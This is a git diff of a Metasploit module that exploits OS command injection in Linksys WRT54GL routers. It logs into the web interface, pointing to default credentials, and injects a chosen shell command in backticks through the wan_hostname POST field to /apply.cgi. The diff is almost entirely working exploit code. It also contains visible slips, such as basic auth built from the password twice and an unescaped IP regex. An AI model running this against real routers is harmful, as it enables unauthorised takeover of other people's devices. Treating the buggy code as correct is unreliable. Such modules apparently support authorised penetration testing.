diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index 85d8c93afa..8f270248e4 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Linksys WRT54GL Remote Command Execution', 'Description' => %q{ Some Linksys Routers are vulnerable to OS Command injection. - You will need credentials to the webinterface to access the vulnerable part + You will need credentials to the web interface to access the vulnerable part of the application. Default credentials are always a good starting point. admin/admin or admin and blank password could be a first try. @@ -34,8 +34,10 @@ class Metasploit3 < Msf::Auxiliary [ [ 'URL', 'http://homesupport.cisco.com/en-eu/support/routers/WRT54GL' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ], + [ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ], [ 'EDB', '24202' ], [ 'BID', '57459' ], + [ 'OSVDB', '89421' ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 18 2013')) @@ -43,12 +45,12 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptString.new('VULNPATH',[ true, 'PATH to OS Command Injection', '/apply.cgi']), - OptString.new('USER',[ true, 'User to login with', 'admin']), - OptString.new('PASS',[ true, 'Password to login with', 'password']), + OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']), + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), - OptString.new('LANIP', [ false, 'LAN IP address of the router', '']), + OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']), OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']), @@ -56,46 +58,41 @@ class Metasploit3 < Msf::Auxiliary end def run - #setting up the needed variables - uri = datastore['VULNPATH'] - user = datastore['USER'] + #setting up some basic variables + uri = datastore['TARGETURI'] + user = datastore['USERNAME'] rhost = datastore['RHOST'] netmask = datastore['NETMASK'] routername = datastore['ROUTER_NAME'] wandomain = datastore['WAN_DOMAIN'] wanmtu = datastore['WAN_MTU'] - # using the RHOST for the correct lan IP settings - # WARNING: Attacks via the WAN IP are breaking the LAN configuration of the device! - if datastore['LANIP'] !~ // + if datastore['LANIP'] !~ /1.1.1.1/ + #there is a configuration from the user so we use LANIP for the router configuration ip = datastore['LANIP'].split('.') else + #no configuration from user so we use RHOST for the router configuration ip = rhost.split('.') end # not sure if this is a good way for blank passwords: - if datastore['PASS'] == "" + if datastore['PASSWORD'] == "" pass = "" else - pass = datastore['PASS'] + pass = datastore['PASSWORD'] end print_status("Trying to login with #{user} / #{pass}") - user_pass = Rex::Text.encode_base64(user + ":" + pass) - begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } - }, 25) + 'basic_auth' => "#{user}:#{pass}" + }) unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") + vprint_error("#{rhost} not responding") end return :abort if (res.code == 404) @@ -108,16 +105,17 @@ class Metasploit3 < Msf::Auxiliary end rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") + vprint_error("#{rhost} - Failed to connect to the web server") return :abort end print_status("Sending remote command: " + datastore['CMD']) - cmd = Rex::Text.uri_encode(datastore['CMD']) - #cmd = datastore['CMD'] + # cmd = Rex::Text.uri_encode(datastore['CMD']) + cmd = datastore['CMD'] - data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" + #original Post Request: +# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" if datastore['VERBOSE'] == true print_line("using the following target URL: \n#{uri}") @@ -128,17 +126,66 @@ class Metasploit3 < Msf::Auxiliary { 'uri' => uri, 'method' => 'POST', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - }, - 'data' => data_cmd, - }, 20) + 'basic_auth' => "#{pass}:#{pass}", + #'data' => data_cmd, + + 'vars_post' => + { + 'submit_button' => "index", + 'change_action' => "1", + 'submit_type' => "1", + 'action' => "Apply", + 'now_proto' => "dhcp", + 'daylight_time' => "1", + 'lan_ipaddr' => "4", + 'wait_time' => "0", + 'need_reboot' => "0", + 'ui_language' => "de", + 'wan_proto' => "dhcp", + 'router_name' => "#{routername}", + 'wan_hostname' => "`#{cmd}`", + 'wan_domain' => "#{wandomain}", + 'mtu_enable' => "1", + 'wan_mtu' => "#{wanmtu}", + 'lan_ipaddr_0' => "#{ip[0]}", + 'lan_ipaddr_1' => "#{ip[1]}", + 'lan_ipaddr_2' => "#{ip[2]}", + 'lan_ipaddr_3' => "#{ip[3]}", + 'lan_netmask' => "#{netmask}", + 'lan_proto' => "dhcp", + 'dhcp_check' => "1", + 'dhcp_start' => "100", + 'dhcp_num' => "50", + 'dhcp_lease' => "0", + 'wan_dns' => "4", + 'wan_dns0_0' => "0", + 'wan_dns0_1' => "0", + 'wan_dns0_2' => "0", + 'wan_dns0_3' => "0", + 'wan_dns1_0' => "0", + 'wan_dns1_1' => "0", + 'wan_dns1_2' => "0", + 'wan_dns1_3' => "0", + 'wan_dns2_0' => "0", + 'wan_dns2_1' => "0", + 'wan_dns2_2' => "0", + 'wan_dns2_3' => "0", + 'wan_wins' => "4", + 'wan_wins_0' => "0", + 'wan_wins_1' => "0", + 'wan_wins_2' => "0", + 'wan_wins_3' => "0", + 'time_zone' => "-08+1+1", + '_daylight_time' => '1' + }, + }) rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") + vprint_error("#{rhost} - Failed to connect to the web server") return :abort end - print_status("Blind Exploitation - wait 5 seconds until the configuration gets applied\n") + print_line("") + print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed") print_status("Blind Exploitation - unknown Exploitation state\n") end end +